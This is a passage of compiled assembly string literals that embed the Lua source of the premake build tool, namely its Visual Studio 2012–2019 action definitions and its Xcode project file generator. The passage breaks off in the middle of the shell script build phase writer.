.asciz "premake.vstudio.vc2012 = {}\nlocal vc2012 = premake.vstudio.vc2012\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2012\",\nshortname = \"Visual Studio 2012\",\ndescription = \"Generate Microsoft Visual Studio 2012 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\"},\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.5\",\ntoolsVersion = \"4.0\",\nsupports64bitEditContinue = false,\nintDirAbsolute = false,\n}\n}\n"
l_.str.45: ; @.str.45
.asciz "premake.vstudio.vc2013 = {}\nlocal vc2013 = premake.vstudio.vc2013\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2013\",\nshortname = \"Visual Studio 2013\",\ndescription = \"Generate Microsoft Visual Studio 2013 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\"},\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.vstudio.needAppxManifest = false\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nif premake.vstudio.needAppxManifest then\npremake.generate(prj, \"%%/Package.appxmanifest\", premake.vs2010_appxmanifest)\nend\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.5\",\ntoolsVersion = \"12.0\",\nsupports64bitEditContinue = false,\nintDirAbsolute = false,\n}\n}\n"
l_.str.46: ; @.str.46
.asciz "premake.vstudio.vc2015 = {}\nlocal vc2015 = premake.vstudio.vc2015\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2015\",\nshortname = \"Visual Studio 2015\",\ndescription = \"Generate Microsoft Visual Studio 2015 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\" },\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.vstudio.needAppxManifest = false\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nif premake.vstudio.needAppxManifest then\npremake.generate(prj, \"%%/Package.appxmanifest\", premake.vs2010_appxmanifest)\nend\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.5\",\ntoolsVersion = \"14.0\",\nwindowsTargetPlatformVersion = \"8.1\",\nsupports64bitEditContinue = true,\nintDirAbsolute = false,\n}\n}\n"
l_.str.47: ; @.str.47
.asciz "premake.vstudio.vc2017 = {}\nlocal vc2017 = premake.vstudio.vc2017\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2017\",\nshortname = \"Visual Studio 2017\",\ndescription = \"Generate Microsoft Visual Studio 2017 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\" },\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.vstudio.needAppxManifest = false\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nif premake.vstudio.needAppxManifest then\npremake.generate(prj, \"%%/Package.appxmanifest\", premake.vs2010_appxmanifest)\nend\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.5.2\",\ntoolsVersion = \"15.0\",\nwindowsTargetPlatformVersion = \"8.1\",\nsupports64bitEditContinue = true,\nintDirAbsolute = false,\n}\n}\n"
l_.str.48: ; @.str.48
.asciz "premake.vstudio.vc2019 = {}\nlocal vc2019 = premake.vstudio.vc2019\nlocal vstudio = premake.vstudio\nnewaction\n{\ntrigger = \"vs2019\",\nshortname = \"Visual Studio 2019\",\ndescription = \"Generate Microsoft Visual Studio 2019 project files\",\nos = \"windows\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\", \"C#\" },\nvalid_tools = {\ncc = { \"msc\" },\ndotnet = { \"msnet\" },\n},\nonsolution = function(sln)\npremake.generate(sln, \"%%.sln\", vstudio.sln2005.generate)\nend,\nonproject = function(prj)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, \"%%.csproj\", vstudio.cs2005.generate)\npremake.generate(prj, \"%%.csproj.user\", vstudio.cs2005.generate_user)\nelse\npremake.vstudio.needAppxManifest = false\npremake.generate(prj, \"%%.vcxproj\", premake.vs2010_vcxproj)\npremake.generate(prj, \"%%.vcxproj.user\", premake.vs2010_vcxproj_user)\npremake.generate(prj, \"%%.vcxproj.filters\", vstudio.vc2010.generate_filters)\nif premake.vstudio.needAppxManifest then\npremake.generate(prj, \"%%/Package.appxmanifest\", premake.vs2010_appxmanifest)\nend\nend\nend,\noncleansolution = premake.vstudio.cleansolution,\noncleanproject = premake.vstudio.cleanproject,\noncleantarget = premake.vstudio.cleantarget,\nvstudio = {\nsolutionVersion = \"12\",\ntargetFramework = \"4.7.2\",\ntoolsVersion = \"16.0\",\nwindowsTargetPlatformVersion = \"10.0\",\nsupports64bitEditContinue = true,\nintDirAbsolute = false,\n}\n}\n"
l_.str.49: ; @.str.49
.asciz "premake.xcode = { }\nfunction premake.xcode.checkproject(prj)\nlocal last\nfor cfg in premake.eachconfig(prj) do\nif last and last ~= cfg.kind then\nerror(\"Project '\" .. prj.name .. \"' uses more than one target kind; not supported by Xcode\", 0)\nend\nlast = cfg.kind\nend\nend\npremake.xcode.toolset = \"macosx\"\n"
l_.str.50: ; @.str.50
.asciz "premake.xcode.parameters = { }\nlocal xcode = premake.xcode\nlocal tree = premake.tree\nfunction xcode.getbuildcategory(node)\nlocal categories = {\n[\".a\"] = \"Frameworks\",\n[\".h\"] = \"Headers\",\n[\".hh\"] = \"Headers\",\n[\".hpp\"] = \"Headers\",\n[\".hxx\"] = \"Headers\",\n[\".inl\"] = \"Headers\",\n[\".c\"] = \"Sources\",\n[\".cc\"] = \"Sources\",\n[\".cpp\"] = \"Sources\",\n[\".cxx\"] = \"Sources\",\n[\".c++\"] = \"Sources\",\n[\".dylib\"] = \"Frameworks\",\n[\".bundle\"] = \"Frameworks\",\n[\".framework\"] = \"Frameworks\",\n[\".tbd\"] = \"Frameworks\",\n[\".m\"] = \"Sources\",\n[\".mm\"] = \"Sources\",\n[\".S\"] = \"Sources\",\n[\".strings\"] = \"Resources\",\n[\".nib\"] = \"Resources\",\n[\".xib\"] = \"Resources\",\n[\".icns\"] = \"Resources\",\n[\".bmp\"] = \"Resources\",\n[\".wav\"] = \"Resources\",\n[\".xcassets\"] = \"Resources\",\n[\".xcdatamodeld\"] = \"Sources\",\n[\".swift\"] = \"Sources\",\n}\nreturn categories[path.getextension(node.name)] or\ncategories[string.lower(path.getextension(node.name))]\nend\nfunction xcode.getconfigname(cfg)\nlocal name = cfg.name\nif #cfg.project.solution.xcode.platforms > 1 then\nname = name .. \" \" .. premake.action.current().valid_platforms[cfg.platform]\nend\nreturn name\nend\nfunction xcode.getfiletype(node)\nlocal types = {\n[\".c\"] = \"sourcecode.c.c\",\n[\".cc\"] = \"sourcecode.cpp.cpp\",\n[\".cpp\"] = \"sourcecode.cpp.cpp\",\n[\".css\"] = \"text.css\",\n[\".cxx\"] = \"sourcecode.cpp.cpp\",\n[\".c++\"] = \"sourcecode.cpp.cpp\",\n[\".entitlements\"] = \"text.xml\",\n[\".bundle\"] = \"wrapper.cfbundle\",\n[\".framework\"] = \"wrapper.framework\",\n[\".tbd\"] = \"sourcecode.text-based-dylib-definition\",\n[\".gif\"] = \"image.gif\",\n[\".h\"] = \"sourcecode.c.h\",\n[\".hh\"] = \"sourcecode.cpp.h\",\n[\".hpp\"] = \"sourcecode.cpp.h\",\n[\".hxx\"] = \"sourcecode.cpp.h\",\n[\".inl\"] = \"sourcecode.cpp.h\",\n[\".html\"] = \"text.html\",\n[\".lua\"] = \"sourcecode.lua\",\n[\".m\"] = \"sourcecode.c.objc\",\n[\".mm\"] = \"sourcecode.cpp.objcpp\",\n[\".S\"] = \"sourcecode.asm\",\n[\".nib\"] = \"wrapper.nib\",\n[\".pch\"] = \"sourcecode.c.h\",\n[\".plist\"] = \"text.plist.xml\",\n[\".strings\"] = \"text.plist.strings\",\n[\".xib\"] = \"file.xib\",\n[\".icns\"] = \"image.icns\",\n[\".bmp\"] = \"image.bmp\",\n[\".wav\"] = \"audio.wav\",\n[\".xcassets\"] = \"folder.assetcatalog\",\n[\".xcdatamodeld\"] = \"wrapper.xcdatamodeld\",\n[\".swift\"] = \"sourcecode.swift\",\n}\nreturn types[path.getextension(node.path)] or\n(types[string.lower(path.getextension(node.path))] or \"text\")\nend\nfunction xcode.getfiletypeForced(node)\nlocal types = {\n[\".c\"] = \"sourcecode.cpp.cpp\",\n[\".cc\"] = \"sourcecode.cpp.cpp\",\n[\".cpp\"] = \"sourcecode.cpp.cpp\",\n[\".css\"] = \"text.css\",\n[\".cxx\"] = \"sourcecode.cpp.cpp\",\n[\".c++\"] = \"sourcecode.cpp.cpp\",\n[\".entitlements\"] = \"text.xml\",\n[\".bundle\"] = \"wrapper.cfbundle\",\n[\".framework\"] = \"wrapper.framework\",\n[\".tbd\"] = \"wrapper.framework\",\n[\".gif\"] = \"image.gif\",\n[\".h\"] = \"sourcecode.cpp.h\",\n[\".hh\"] = \"sourcecode.cpp.h\",\n[\".hpp\"] = \"sourcecode.cpp.h\",\n[\".hxx\"] = \"sourcecode.cpp.h\",\n[\".inl\"] = \"sourcecode.cpp.h\",\n[\".html\"] = \"text.html\",\n[\".lua\"] = \"sourcecode.lua\",\n[\".m\"] = \"sourcecode.cpp.objcpp\",\n[\".mm\"] = \"sourcecode.cpp.objcpp\",\n[\".nib\"] = \"wrapper.nib\",\n[\".pch\"] = \"sourcecode.cpp.h\",\n[\".plist\"] = \"text.plist.xml\",\n[\".strings\"] = \"text.plist.strings\",\n[\".xib\"] = \"file.xib\",\n[\".icns\"] = \"image.icns\",\n[\".bmp\"] = \"image.bmp\",\n[\".wav\"] = \"audio.wav\",\n[\".xcassets\"] = \"folder.assetcatalog\",\n[\".xcdatamodeld\"] = \"wrapper.xcdatamodeld\",\n[\".swift\"] = \"sourcecode.swift\",\n}\nreturn types[path.getextension(node.path)] or\n(types[string.lower(path.getextension(node.path))] or \"text\")\nend\nfunction xcode.getproducttype(node)\nlocal types = {\nConsoleApp = \"com.apple.product-type.tool\",\nWindowedApp = node.cfg.options.SkipBundling and \"com.apple.product-type.tool\" or \"com.apple.product-type.application\",\nStaticLib = \"com.apple.product-type.library.static\",\nSharedLib = \"com.apple.product-type.library.dynamic\",\nBundle = node.cfg.options.SkipBundling and \"com.apple.product-type.tool\" or \"com.apple.product-type.bundle\",\n}\nreturn types[node.cfg.kind]\nend\nfunction xcode.gettargettype(node)\nlocal types = {\nConsoleApp = \"\\\"compiled.mach-o.executable\\\"\",\nWindowedApp = node.cfg.options.SkipBundling and \"\\\"compiled.mach-o.executable\\\"\" or \"wrapper.application\",\nStaticLib = \"archive.ar\",\nSharedLib = \"\\\"compiled.mach-o.dylib\\\"\",\nBundle = node.cfg.options.SkipBundling and \"\\\"compiled.mach-o.bundle\\\"\" or \"wrapper.cfbundle\",\n}\nreturn types[node.cfg.kind]\nend\nfunction xcode.getxcodeprojname(prj)\nlocal fname = premake.project.getfilename(prj, \"%%.xcodeproj\")\nreturn fname\nend\nfunction xcode.isframework(fname)\nreturn (path.getextension(fname) == \".framework\" or path.getextension(fname) == \".tbd\")\nend\nfunction xcode.uuid(param)\nreturn os.uuid(param):upper():gsub('-',''):sub(0,24)\nend\nfunction xcode.newid(node, usage)\nlocal base = ''\nlocal prj = node.project\nif prj == nil then\nlocal parent = node.parent\nwhile parent ~= nil do\nif parent.project ~= nil then\nprj = parent.project\nbreak\nend\nparent = parent.parent\nend\nend\nif prj ~= nil then\nprj.uuidcounter = (prj.uuidcounter or 0) + 1\nbase = base .. prj.name .. \"$\" .. prj.uuidcounter .. \"$\"\nend\nbase = base .. \"$\" .. (node.path or node.name or \"\")\nbase = base .. \"$\" .. (usage or \"\")\nreturn xcode.uuid(base)\nend\nfunction xcode.getscriptphaselabel(cmd, count, cfg)\nreturn string.format(\"\\\"Script Phase %s [%s] (%s)\\\"\", count, cmd:match(\"(%w+)(.+)\"), iif(cfg, xcode.getconfigname(cfg), \"all\"))\nend\nfunction xcode.getcopyphaselabel(type, count, target)\nreturn string.format(\"\\\"Copy %s %s [%s]\\\"\", type, count, target)\nend\nfunction xcode.preparesolution(sln)\nsln.xcode = { }\nsln.xcode.platforms = premake.filterplatforms(sln, premake.action.current().valid_platforms, \"Universal\")\nfor prj in premake.solution.eachproject(sln) do\nlocal cfg = premake.getconfig(prj, prj.configurations[1], sln.xcode.platforms[1])\nlocal node = premake.tree.new(path.getname(cfg.buildtarget.bundlepath))\nnode.cfg = cfg\nnode.id = premake.xcode.newid(node, \"product\")\nnode.targetid = premake.xcode.newid(node, \"target\")\nprj.xcode = {}\nprj.xcode.projectnode = node\nend\nend\nfunction xcode.printlist(list, tag, sort)\nif #list > 0 then\nif sort ~= nil and sort == true then\ntable.sort(list)\nend\n_p(4,'%s = (', tag)\nfor _, item in ipairs(list) do\nlocal escaped_item = item:gsub(\"\\\"\", \"\\\\\\\\\\\\\\\"\"):gsub(\"'\", \"\\\\\\\\'\")\n_p(5, '\"%s\",', escaped_item)\nend\n_p(4,');')\nend\nend\nfunction xcode.quotestr(str)\nif str:match(\"[^a-zA-Z0-9$._/]\") == nil then\nreturn str\nend\nreturn \"\\\"\" .. str:gsub(\"[\\\"\\\\\\\"]\", \"\\\\%0\") .. \"\\\"\"\nend\nfunction xcode.Header(tr, objversion)\n_p('// !$*UTF8*$!')\n_p('{')\n_p(1,'archiveVersion = 1;')\n_p(1,'classes = {')\n_p(1,'};')\n_p(1,'objectVersion = %d;', objversion)\n_p(1,'objects = {')\n_p('')\nend\nfunction xcode.PBXBuildFile(tr)\nlocal function gatherCopyFiles(which)\nlocal copyfiles = {}\nlocal targets = tr.project[which]\nif #targets > 0 then\nfor _, t in ipairs(targets) do\nfor __, tt in ipairs(t) do\ntable.insertflat(copyfiles, tt[2])\nend\nend\nend\nreturn table.translate(copyfiles, path.getname)\nend\nlocal function gatherCopyFrameworks(which)\nlocal copyfiles = {}\nlocal targets = tr.project[which]\nif #targets > 0 then\ntable.insertflat(copyfiles, targets)\nend\nreturn table.translate(copyfiles, path.getname)\nend\nlocal copyfiles = table.flatten({\ngatherCopyFiles('xcodecopyresources'),\ngatherCopyFrameworks('xcodecopyframeworks')\n})\n_p('/* Begin PBXBuildFile section */')\ntree.traverse(tr, {\nonnode = function(node)\nif node.buildid then\n_p(2,'%s /* %s in %s */ = {isa = PBXBuildFile; fileRef = %s /* %s */; };',\nnode.buildid, node.name, xcode.getbuildcategory(node), node.id, node.name)\nend\nif table.icontains(copyfiles, node.name) then\n_p(2,'%s /* %s in %s */ = {isa = PBXBuildFile; fileRef = %s /* %s */; %s };',\nxcode.uuid(node.name .. 'in CopyFiles'), node.name, 'CopyFiles', node.id, node.name,\niif(xcode.isframework(node.name), \"settings = {ATTRIBUTES = (CodeSignOnCopy, ); };\", \"\")\n)\nend\nend\n})\n_p('/* End PBXBuildFile section */')\n_p('')\nend\nfunction xcode.PBXContainerItemProxy(tr)\nif #tr.projects.children > 0 then\n_p('/* Begin PBXContainerItemProxy section */')\nfor _, node in ipairs(tr.projects.children) do\n_p(2,'%s /* PBXContainerItemProxy */ = {', node.productproxyid)\n_p(3,'isa = PBXContainerItemProxy;')\n_p(3,'containerPortal = %s /* %s */;', node.id, path.getname(node.path))\n_p(3,'proxyType = 2;')\n_p(3,'remoteGlobalIDString = %s;', node.project.xcode.projectnode.id)\n_p(3,'remoteInfo = \"%s\";', node.project.xcode.projectnode.name)\n_p(2,'};')\n_p(2,'%s /* PBXContainerItemProxy */ = {', node.targetproxyid)\n_p(3,'isa = PBXContainerItemProxy;')\n_p(3,'containerPortal = %s /* %s */;', node.id, path.getname(node.path))\n_p(3,'proxyType = 1;')\n_p(3,'remoteGlobalIDString = %s;', node.project.xcode.projectnode.targetid)\n_p(3,'remoteInfo = \"%s\";', node.project.xcode.projectnode.name)\n_p(2,'};')\nend\n_p('/* End PBXContainerItemProxy section */')\n_p('')\nend\nend\nfunction xcode.PBXFileReference(tr,prj)\n_p('/* Begin PBXFileReference section */')\ntree.traverse(tr, {\nonleaf = function(node)\nif not node.path then\nreturn\nend\nif node.kind == \"product\" then\n_p(2,'%s /* %s */ = {isa = PBXFileReference; explicitFileType = %s; includeInIndex = 0; name = \"%s\"; path = \"%s\"; sourceTree = BUILT_PRODUCTS_DIR; };',\nnode.id, node.name, xcode.gettargettype(node), node.name, path.getname(node.cfg.buildtarget.bundlepath))\nelseif node.parent.parent == tr.projects then\nlocal relpath = path.getrelative(tr.project.location, node.parent.project.location)\n_p(2,'%s /* %s */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = \"%s\"; path = \"%s\"; sourceTree = SOURCE_ROOT; };',\nnode.parent.id, node.parent.name, node.parent.name, path.join(relpath, node.parent.name))\nelse\nlocal pth, src\nif xcode.isframework(node.path) then\nlocal nodePath = node.path\nlocal _, matchEnd, variable = string.find(nodePath, \"^%$%((.+)%)/\")\nif variable then\nnodePath = string.sub(nodePath, matchEnd + 1)\nend\nif string.find(nodePath,'/') then\nif string.find(nodePath,'^%.')then\nnodePath = path.getabsolute(path.join(tr.project.location, nodePath))\nend\npth = nodePath\nelseif path.getextension(nodePath)=='.tbd' then\npth = \"/usr/lib/\" .. nodePath\nelse\npth = \"/System/Library/Frameworks/\" .. nodePath\nend\nif variable then\nsrc = variable\nif string.find(pth, '^/') then\npth = string.sub(pth, 2)\nend\nelse\nsrc = \"<absolute>\"\nend\nelse\nsrc = \"<group>\"\nif node.location then\npth = node.location\nelseif node.parent.isvpath then\npth = node.cfg.name\nelse\npth = tree.getlocalpath(node)\nend\nend\nif (not prj.options.ForceCPP) then\n_p(2,'%s /* %s */ = {isa = PBXFileReference; lastKnownFileType = %s; name = \"%s\"; path = \"%s\"; sourceTree = \"%s\"; };',\nnode.id, node.name, xcode.getfiletype(node), node.name, pth, src)\nelse\n_p(2,'%s /* %s */ = {isa = PBXFileReference; explicitFileType = %s; name = \"%s\"; path = \"%s\"; sourceTree = \"%s\"; };',\nnode.id, node.name, xcode.getfiletypeForced(node), node.name, pth, src)\nend\nend\nend\n})\n_p('/* End PBXFileReference section */')\n_p('')\nend\nfunction xcode.PBXFrameworksBuildPhase(tr)\n_p('/* Begin PBXFrameworksBuildPhase section */')\n_p(2,'%s /* Frameworks */ = {', tr.products.children[1].fxstageid)\n_p(3,'isa = PBXFrameworksBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'files = (')\ntree.traverse(tr.frameworks, {\nonleaf = function(node)\n_p(4,'%s /* %s in Frameworks */,', node.buildid, node.name)\nend\n})\ntree.traverse(tr.projects, {\nonleaf = function(node)\n_p(4,'%s /* %s in Frameworks */,', node.buildid, node.name)\nend\n})\n_p(3,');')\n_p(3,'runOnlyForDeploymentPostprocessing = 0;')\n_p(2,'};')\n_p('/* End PBXFrameworksBuildPhase section */')\n_p('')\nend\nfunction xcode.PBXGroup(tr)\n_p('/* Begin PBXGroup section */')\ntree.traverse(tr, {\nonnode = function(node)\nif (node.path and #node.children == 0) or node.kind == \"vgroup\" then\nreturn\nend\nif node.parent == tr.projects then\n_p(2,'%s /* Products */ = {', node.productgroupid)\nelse\n_p(2,'%s /* %s */ = {', node.id, node.name)\nend\n_p(3,'isa = PBXGroup;')\n_p(3,'children = (')\nfor _, childnode in ipairs(node.children) do\n_p(4,'%s /* %s */,', childnode.id, childnode.name)\nend\n_p(3,');')\nif node.parent == tr.projects then\n_p(3,'name = Products;')\nelse\n_p(3,'name = \"%s\";', node.name)\nif node.location then\n_p(3,'path = \"%s\";', node.location)\nelseif node.path and not node.isvpath then\nlocal p = node.path\nif node.parent.path then\np = path.getrelative(node.parent.path, node.path)\nend\n_p(3,'path = \"%s\";', p)\nend\nend\n_p(3,'sourceTree = \"<group>\";')\n_p(2,'};')\nend\n}, true)\n_p('/* End PBXGroup section */')\n_p('')\nend\nfunction xcode.PBXNativeTarget(tr)\n_p('/* Begin PBXNativeTarget section */')\nfor _, node in ipairs(tr.products.children) do\nlocal name = tr.project.name\nlocal function hasBuildCommands(which)\nif #tr.project[which] > 0 then\nreturn true\nend\nfor _, cfg in ipairs(tr.configs) do\nif #cfg[which] > 0 then\nreturn true\nend\nend\nend\nlocal function dobuildblock(id, label, which, action)\nif hasBuildCommands(which) then\nlocal commandcount = 0\nfor _, cfg in ipairs(tr.configs) do\ncommandcount = commandcount + #cfg[which]\nend\nif commandcount > 0 then\naction(id, label)\nend\nend\nend\nlocal function doscriptphases(which, action)\nlocal i = 0\nfor _, cfg in ipairs(tr.configs) do\nlocal cfgcmds = cfg[which]\nif cfgcmds ~= nil then\nfor __, scripts in ipairs(cfgcmds) do\nfor ___, script in ipairs(scripts) do\nlocal cmd = script[1]\nlocal label = xcode.getscriptphaselabel(cmd, i, cfg)\nlocal id = xcode.uuid(label)\naction(id, label)\ni = i + 1\nend\nend\nend\nend\nend\nlocal function docopyresources(which, action)\nif hasBuildCommands(which) then\nlocal targets = tr.project[which]\nif #targets > 0 then\nlocal i = 0\nfor _, t in ipairs(targets) do\nfor __, tt in ipairs(t) do\nlocal label = xcode.getcopyphaselabel('Resources', i, tt[1])\nlocal id = xcode.uuid(label)\naction(id, label)\ni = i + 1\nend\nend\nend\nend\nend\nlocal function docopyframeworks(which, action)\nif hasBuildCommands(which) then\nlocal targets = tr.project[which]\nif #targets > 0 then\nlocal label = \"Copy Frameworks\"\nlocal id = xcode.uuid(label)\naction(id, label)\nend\nend\nend\nlocal function _p_label(id, label)\n_p(4, '%s /* %s */,', id, label)\nend\n_p(2,'%s /* %s */ = {', node.targetid, name)\n_p(3,'isa = PBXNativeTarget;')\n_p(3,'buildConfigurationList = %s /* Build configuration list for PBXNativeTarget \"%s\" */;', node.cfgsection, name)\n_p(3,'buildPhases = (')\ndobuildblock('9607AE1010C857E500CD1376', 'Prebuild', 'prebuildcommands', _p_label)\n_p(4,'%s /* Resources */,', node.resstageid)\n_p(4,'%s /* Sources */,', node.sourcesid)\ndobuildblock('9607AE3510C85E7E00CD1376', 'Prelink', 'prelinkcommands', _p_label)\n_p(4,'%s /* Frameworks */,', node.fxstageid)\ndobuildblock('9607AE3710C85E8F00CD1376', 'Postbuild', 'postbuildcommands', _p_label)\ndoscriptphases(\"xcodescriptphases\", _p_label)\ndocopyresources(\"xcodecopyresources\", _p_label)\nif tr.project.kind == \"WindowedApp\" then\ndocopyframeworks(\"xcodecopyframeworks\", _p_label)\nend\n_p(3,');')\n_p(3,'buildRules = (')\n_p(3,');')\n_p(3,'dependencies = (')\nfor _, node in ipairs(tr.projects.children) do\n_p(4,'%s /* PBXTargetDependency */,', node.targetdependid)\nend\n_p(3,');')\n_p(3,'name = \"%s\";', name)\nlocal p\nif node.cfg.kind == \"ConsoleApp\" then\np = \"$(HOME)/bin\"\nelseif node.cfg.kind == \"WindowedApp\" then\np = \"$(HOME)/Applications\"\nend\nif p then\n_p(3,'productInstallPath = \"%s\";', p)\nend\n_p(3,'productName = \"%s\";', name)\n_p(3,'productReference = %s /* %s */;', node.id, node.name)\n_p(3,'productType = \"%s\";', xcode.getproducttype(node))\n_p(2,'};')\nend\n_p('/* End PBXNativeTarget section */')\n_p('')\nend\nfunction xcode.PBXProject(tr, compatVersion)\n_p('/* Begin PBXProject section */')\n_p(2,'__RootObject_ /* Project object */ = {')\n_p(3,'isa = PBXProject;')\n_p(3,'buildConfigurationList = 1DEB928908733DD80010E9CD /* Build configuration list for PBXProject \"%s\" */;', tr.name)\n_p(3,'compatibilityVersion = \"Xcode %s\";', compatVersion)\n_p(3,'hasScannedForEncodings = 1;')\n_p(3,'mainGroup = %s /* %s */;', tr.id, tr.name)\n_p(3,'projectDirPath = \"\";')\nif #tr.projects.children > 0 then\n_p(3,'projectReferences = (')\nfor _, node in ipairs(tr.projects.children) do\n_p(4,'{')\n_p(5,'ProductGroup = %s /* Products */;', node.productgroupid)\n_p(5,'ProjectRef = %s /* %s */;', node.id, path.getname(node.path))\n_p(4,'},')\nend\n_p(3,');')\nend\n_p(3,'projectRoot = \"\";')\n_p(3,'targets = (')\nfor _, node in ipairs(tr.products.children) do\n_p(4,'%s /* %s */,', node.targetid, node.name)\nend\n_p(3,');')\n_p(2,'};')\n_p('/* End PBXProject section */')\n_p('')\nend\nfunction xcode.PBXReferenceProxy(tr)\nif #tr.projects.children > 0 then\n_p('/* Begin PBXReferenceProxy section */')\ntree.traverse(tr.projects, {\nonleaf = function(node)\n_p(2,'%s /* %s */ = {', node.id, node.name)\n_p(3,'isa = PBXReferenceProxy;')\n_p(3,'fileType = %s;', xcode.gettargettype(node))\n_p(3,'path = \"%s\";', node.path)\n_p(3,'remoteRef = %s /* PBXContainerItemProxy */;', node.parent.productproxyid)\n_p(3,'sourceTree = BUILT_PRODUCTS_DIR;')\n_p(2,'};')\nend\n})\n_p('/* End PBXReferenceProxy section */')\n_p('')\nend\nend\nfunction xcode.PBXResourcesBuildPhase(tr)\n_p('/* Begin PBXResourcesBuildPhase section */')\nfor _, target in ipairs(tr.products.children) do\n_p(2,'%s /* Resources */ = {', target.resstageid)\n_p(3,'isa = PBXResourcesBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'files = (')\ntree.traverse(tr, {\nonnode = function(node)\nif xcode.getbuildcategory(node) == \"Resources\" then\n_p(4,'%s /* %s in Resources */,', node.buildid, node.name)\nend\nend\n})\n_p(3,');')\n_p(3,'runOnlyForDeploymentPostprocessing = 0;')\n_p(2,'};')\nend\n_p('/* End PBXResourcesBuildPhase section */')\n_p('')\nend\nfunction xcode.PBXShellScriptBuildPhase(tr)\nlocal wrapperWritten = false\nlocal function doblock(id, name, commands, files)\nif commands ~= nil then\ncommands = table.flatten(commands)\nend\nif #commands > 0 then\nif not wrapperWritten then\n_p('/* Begin PBXShellScriptBuildPhase section */')\nwrapperWritten = true\nend\n_p(2,'%s /* %s */ = {', id, name)\n_p(3,'isa = PBXShellScriptBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'files = (')\n_p(3,');')\n_p(3,'inputPaths = (');\nif files ~= nil then\nfiles = table.flatten(files)\nif #files > 0 then\nfor _, file in ipairs(files) do\n_p(4, '\"%s\",', file)\nend\nend\nend\n_p(3,');');\n_p(3,'name = %s;', name);\n_p(3,'outputPaths = (');\n_p(3,');');\n_p(3,'runOnlyForDeploymentPostprocessing = 0;');\n_p(3,'shellPath = /bin/sh;');\n_p(3,'shellScript = \"%s\";', table.concat(commands, \"\\\\n\"):gsub('\"', 